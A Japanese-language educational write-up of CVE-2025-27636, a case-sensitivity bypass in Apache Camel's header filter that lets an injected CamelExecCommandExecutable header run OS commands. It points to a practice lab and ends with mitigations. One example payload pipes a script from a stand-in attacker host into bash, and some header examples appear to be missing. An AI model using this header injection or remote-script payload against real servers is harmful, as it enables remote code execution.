Apache Camel の DefaultHeaderFilterStrategy は、以下のような内部ヘッダーを保護するためのものです。

• CamelHttp*
• CamelFile*
• CamelExecCommandExecutable ← 🚨 大文字小文字のバイパスがあった場合に脆弱

🔍 「内部」とはどういう意味ですか？

内部ヘッダーとは、

• Camel* で始まる
• Camel 内でのみ動作（ルーティング、処理、エンドポイント）を制御するために使用される
• HTTP、JMS などの外部システムに公開されることを意図していない

しかし、パッチ適用前は、このフィルターはヘッダー名を大文字小文字を区別して一致させていたため、HTTP仕様（ヘッダーは大文字小文字を区別しない）に違反し、次のようなバイパスが可能でした:

このヘッダーは exec: コンポーネントに渡され、ペイロードが実行されます。

🛠️ CamelExecCommandExecutable

このヘッダーは camel-exec コンポーネントにどのコマンドを実行するかを指示します。これは強力であり、ユーザーによって制御可能な場合、特に OS レベルのコマンド（例：bash、cmd.exe など）をサポートする環境では非常に危険です。

🧪 ハンズオンラボ: Pinewood Server Diagnostic

プロジェクト: Pinewood Server Diagnostic 作成者: @enochgitgamefied 目的: ライブの教育用ラボで CVE-2025-27636 を再現する。

🔗 GitHub リポジトリ

👉 https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab

📁 プロジェクト概要

• Apache Camel 4.10.0 で構築
• ルート:
  • /tasks → exec:tasklist または exec:ps を使用してタスクを一覧表示
  • /systeminfo → OS情報を出力 (systeminfo または uname -a)
  • /network → ipconfig または ifconfig を表示
• 組み込みJettyを使用して / でWeb UIを提供
• フィルタリングがパッチ適用されていない場合、大文字小文字を変更したヘッダーインジェクションに対して脆弱

⚙️ はじめに

その後、ブラウザでアクセス:

🖥️ http://<your-ip>:8484

🚨 脆弱性の実証

パッチ未適用の動作:

次のようなヘッダーを送信すると（大文字小文字に注意）:

フィルターはブロックせず、exec: エンドポイントに渡されます。次のように実証できます:

• whoami
• uname -a
• bash -c "curl http://attacker.com/shell.sh | bash" ← 危険

🎥 YouTube デモ

完全なデモは準備中で、近日中にアップロードされます。以下の手順を説明します:

• アプリケーションのセットアップ
• ヘッダーインジェクション
• コマンド実行
• 修正手順

YouTube デモリンク: https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!

🛡️ 緩和策と修正

1. Apache Camel をアップグレードし、大文字小文字を区別しないヘッダーフィルタリングが実装されたバージョンにする（これがパッチです）。
2. より厳密なロジックを適用する必要がある場合は、カスタム HeaderFilterStrategy を使用する。
3. 完全にロックダウンされていない限り、exec: ルートを HTTP に直接公開しない。

🧠 重要なポイント

• 内部ヘッダーは外部ユーザーによって制御可能であってはなりません。
• セキュリティフィルターにおける大文字小文字の区別は、よく知られたアンチパターンです。
• Apache Camel は強力ですが、その力には責任が伴います。特に HTTP を exec にチェーンする場合はそうです。

⚠️ 免責事項

このラボは教育目的および管理されたラボでのみ使用することを目的としています。 許可されていないシステムやネットワークでこれを行わないでください。